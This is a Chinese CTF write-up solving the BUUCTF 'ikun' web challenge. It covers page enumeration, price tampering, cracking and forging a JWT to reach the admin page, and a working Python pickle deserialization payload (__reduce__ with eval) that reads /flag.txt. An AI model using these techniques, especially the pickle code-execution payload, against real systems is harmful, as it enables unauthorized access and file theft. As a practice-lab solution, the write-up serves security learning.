BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun

当时没做出来,大佬复现了环境就做一波
题目
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第1张图片
第一步提示我们要找到lv6
写个脚本找一下

import requests
url="http://web44.buuoj.cn/shop?page="

for i in range(0,2000):

	r=requests.get(url+str(i))
	if 'lv6.png' in r.text:
		print (i)
		break

跑的有点慢
找到了lv6发现买不起
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第2张图片
应该是要抓包修改
改折扣
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第3张图片
然后拿到了后台的地址http://web44.buuoj.cn/b1g_m4mber
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第4张图片
但需要权限,这里涉及JWT破解了解JWT
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第5张图片
先将JWT base64解码一下
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第6张图片
看到username是我自己的登陆名5,这里需要改为admin
后边解码不出来因为经过了sha256,需要破解key
找了一个工具破的破解工具
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第7张图片
然后伪造我们的jwt生成jwt的网站
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第8张图片
好的进来了
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第9张图片
在页面源码里看到了下载的路径
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第10张图片
下载
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第11张图片
打开之后找到了一个python反序列化的地方,在 admin.py
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第12张图片
然后。。。。
网站就崩了
大佬说转发机出问题了。。。
等好了继续更


好了继续
太菜了payload不会生成 看的大佬的
用py2跑
py3序列化pickle.dumps之后的结果和py2的不一样
怀疑是库的问题

这里用了Pickle协议的方法__reduce__(self)
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第13张图片
这是大佬讲python魔术方法的博客

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

这样就可以打印flag.txt里的内容了
将生成的payload传给become
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第14张图片

拿到flag
BUUCTF-WEB-[CISCN2019 华北赛区 Day1 Web2]ikun_第15张图片

你可能感兴趣的:(buuctf)